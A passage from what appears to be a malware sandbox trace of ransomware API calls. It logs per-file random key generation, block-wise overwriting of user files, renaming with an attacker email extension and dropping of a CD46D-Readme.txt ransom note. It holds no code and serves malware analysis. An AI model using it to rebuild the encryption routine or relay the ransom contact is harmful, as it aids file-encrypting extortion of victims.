IoStatusBlock=0x331f99c, FileInformation=0x331f974, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x331f99c, FileInformation=0x331f974) returned 0x0 [0155.941] NtSetInformationFile (FileHandle=0x1150, IoStatusBlock=0x331f99c, FileInformation=0x331f974, Length=0x28, FileInformationClass=0x4) returned 0x0 [0155.943] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938f28) returned 1 [0155.943] FlushFileBuffers (hFile=0x1150) returned 1 [0155.946] CloseHandle (hObject=0x1150) returned 1 [0155.946] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f8780 [0155.946] wcscpy (in: _Dest=0x8f8780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0155.946] wcscat (in: _Dest=0x8f8780, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" [0155.947] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cd46d-readme.txt")) returned 0x2020 [0155.947] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8780) returned 1 [0155.947] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51af0) returned 1 Thread: id = 3757 os_tid = 0xec4 [0155.555] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zodkwsqbxo.mkv")) returned 0x20 [0155.555] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv", dwFileAttributes=0x20) returned 1 [0155.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zodkwsqbxo.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1154 [0155.556] GetFileSizeEx (in: hFile=0x1154, lpFileSize=0x2f0f8b4 | out: lpFileSize=0x2f0f8b4*=51225) returned 1 [0155.556] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0xc815, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.556] ReadFile (in: hFile=0x1154, lpBuffer=0x2f0f838, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f0f834, lpOverlapped=0x0 | out: lpBuffer=0x2f0f838*, lpNumberOfBytesRead=0x2f0f834*=0x4, lpOverlapped=0x0) returned 1 [0155.557] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.557] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af000 [0155.557] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef60 [0155.557] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af028 [0155.557] NtQuerySystemTime (in: CurrentTime=0x2f0f814 | out: CurrentTime=0x2f0f814*=132174899301646000) returned 0x0 [0155.557] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x77d5b007 [0155.557] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x286fafe [0155.557] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x7017424a [0155.557] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x173c5ff6 [0155.557] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0xc09343 [0155.557] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x63a87b92 [0155.557] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x15b2e7dc [0155.557] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x61f33a35 [0155.557] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x1ab604f [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x1ce5e7fc [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x5bd14955 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x34a0842f [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x34e0d478 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x20a33ed4 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x591652ed [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x3d10608f [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x6247b559 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x6e8a8cc4 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x5ce4e991 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x2a1a4771 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x26ed309a [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x5d540a86 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x7edb3583 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x628a2a2f [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x7b688abc [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x62599dc5 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x12472ff9 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x65cfca0d [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x3f3f8a50 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x14963c7c [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x15c479c3 [0155.558] RtlRandomEx (in: Seed=0x2f0f820 | out: Seed=0x2f0f820) returned 0x974ce27 [0155.570] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.570] ReadFile (in: hFile=0x1154, lpBuffer=0xd511880, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f0f7f4, lpOverlapped=0x0 | out: lpBuffer=0xd511880*, lpNumberOfBytesRead=0x2f0f7f4*=0xc800, lpOverlapped=0x0) returned 1 [0155.571] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.571] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d26b0 [0155.571] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93cad0 [0155.571] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af000 [0155.571] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af000) returned 1 [0155.572] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0xd51e088 [0155.573] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af000 [0155.573] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af028 [0155.573] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af028) returned 1 [0155.573] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93cad0) returned 1 [0155.573] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26b0) returned 1 [0155.573] WriteFile (in: hFile=0x1154, lpBuffer=0xd51e088*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f0f7f4, lpOverlapped=0x0 | out: lpBuffer=0xd51e088*, lpNumberOfBytesWritten=0x2f0f7f4*=0xc800, lpOverlapped=0x0) returned 1 [0155.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0155.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0155.932] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x29) returned 0x8daa60 [0155.932] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.932] WriteFile (in: hFile=0x1154, lpBuffer=0x8f67a8*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2f0f874, lpOverlapped=0x0 | out: lpBuffer=0x8f67a8*, lpNumberOfBytesWritten=0x2f0f874*=0x10d, lpOverlapped=0x0) returned 1 [0155.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f67a8) returned 1 [0155.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da9b8) returned 1 [0155.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945ac8) returned 1 [0155.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa60) returned 1 [0155.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af000) returned 1 [0155.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef60) returned 1 [0155.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee48) returned 1 [0155.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefd8) returned 1 [0155.937] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc2) returned 0x938e58 [0155.937] wcscpy (in: _Dest=0x938e58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv" [0155.937] wcscat (in: _Dest=0x938e58, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv.mailto[2Hamlampampom@cock.li].cd46d" [0155.937] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2f0f82c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0155.937] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x93cda8 [0155.943] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93cda8) returned 1 [0155.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aa518) returned 1 [0155.944] NtQueryInformationFile (in: FileHandle=0x1154, IoStatusBlock=0x2f0f838, FileInformation=0x2f0f810, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f0f838, FileInformation=0x2f0f810) returned 0x0 [0155.944] NtSetInformationFile (FileHandle=0x1154, IoStatusBlock=0x2f0f838, FileInformation=0x2f0f810, Length=0x28, FileInformationClass=0x4) returned 0x0 [0155.945] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938e58) returned 1 [0155.945] FlushFileBuffers (hFile=0x1154) returned 1 [0155.948] CloseHandle (hObject=0x1154) returned 1 [0155.949] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c51af0 [0155.949] wcscpy (in: _Dest=0x12c51af0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0155.949] wcscat (in: _Dest=0x12c51af0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" [0155.949] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cd46d-readme.txt")) returned 0x2020 [0155.949] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51af0) returned 1 [0155.949] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c519e0) returned 1 Thread: id = 3758 os_tid = 0xec8 [0155.573] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp")) returned 0x20 [0155.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp", dwFileAttributes=0x20) returned 0 [0155.574] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.574] GetLastError () returned 0x5 [0155.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp", dwFileAttributes=0x20) returned 0 [0155.574] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c7d8) returned 1 Thread: id = 3759 os_tid = 0xecc [0155.575] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp")) returned 0x20 [0155.575] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp", dwFileAttributes=0x20) returned 0 [0155.575] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.575] GetLastError () returned 0x5 [0155.575] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp", dwFileAttributes=0x20) returned 0 [0155.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c1a8) returned 1 Thread: id = 3760 os_tid = 0xed0 [0155.576] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp")) returned 0x20 [0155.577] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp", dwFileAttributes=0x20) returned 0 [0155.577] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.577] GetLastError () returned 0x5 [0155.577] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp", dwFileAttributes=0x20) returned 0 [0155.577] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97afc8) returned 1 Thread: id = 3761 os_tid = 0xed4 [0155.578] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp")) returned 0x20 [0155.578] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp", dwFileAttributes=0x20) returned 0 [0155.578] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.578] GetLastError () returned 0x5 [0155.578] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp", dwFileAttributes=0x20) returned 0 [0155.578] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b8b8) returned 1 Thread: id = 3821 os_tid = 0xfcc [0156.063] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\eula.ini")) returned 0x20 [0156.063] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.064] GetLastError () returned 0x5 [0156.064] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7688) returned 1 Thread: id = 3822 os_tid = 0xfd0 [0156.066] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html")) returned 0x20 [0156.066] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", dwFileAttributes=0x20) returned 0 [0156.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.066] GetLastError () returned 0x5 [0156.066] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", dwFileAttributes=0x20) returned 0 [0156.066] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac728) returned 1 Thread: id = 3823 os_tid = 0xfd4 [0156.067] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc")) returned 0x2020 [0156.067] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", dwFileAttributes=0x20) returned 1 [0157.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1150 [0157.349] GetFileSizeEx (in: hFile=0x1150, lpFileSize=0x31bf7d4 | out: lpFileSize=0x31bf7d4*=66208) returned 1 [0157.349] SetFilePointerEx (in: hFile=0x1150, liDistanceToMove=0x1029c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.349] ReadFile (in: hFile=0x1150, lpBuffer=0x31bf758, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31bf754, lpOverlapped=0x0 | out: lpBuffer=0x31bf758*, lpNumberOfBytesRead=0x31bf754*=0x4, lpOverlapped=0x0) returned 1 [0157.350] SetFilePointerEx (in: hFile=0x1150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefd8 [0157.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef60 [0157.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee98 [0157.350] NtQuerySystemTime (in: CurrentTime=0x31bf734 | out: CurrentTime=0x31bf734*=132174899319586000) returned 0x0 [0157.350] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x6aa90fb0 [0157.350] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x2c4da84f [0157.350] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x4875af3b [0157.350] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x16ecddf8 [0157.350] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x1eedcebb [0157.350] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x1596a2f2 [0157.350] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x2f7d7989 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x14facc32 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x41a51ea4 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x47ff6113 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x333afecf [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x257b54bc [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x5ed01286 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x7aba2941 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0xe83e140 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x66a7ec2 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x24c99e5 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x55e80357 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x15321ae3 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x7f305e07 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x7d082865 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x3e16fd78 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x41a1b8d1 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x68f2c9d5 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x356d2898 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x39a43ef1 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x569d2da9 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x18feb904 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x319a8589 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x4116b83b [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x2ab94379 [0157.351] RtlRandomEx (in: Seed=0x31bf740 | out: Seed=0x31bf740) returned 0x261263c8 [0157.363] SetFilePointerEx (in: hFile=0x1150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.363] ReadFile (in: hFile=0x1150, lpBuffer=0xd4a0850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x31bf714, lpOverlapped=0x0 | out: lpBuffer=0xd4a0850*, lpNumberOfBytesRead=0x31bf714*=0xc800, lpOverlapped=0x0) returned 1 [0157.364] SetFilePointerEx (in: hFile=0x1150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.364] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2938 [0157.364] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93bf90 [0157.364] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefd8 [0157.364] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefd8) returned 1 [0157.365] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0xd4ad058 [0157.366] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefd8 [0157.366] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee98 [0157.366] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0157.366] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bf90) returned 1 [0157.366] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0157.366] WriteFile (in: hFile=0x1150, lpBuffer=0xd4ad058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x31bf714, lpOverlapped=0x0 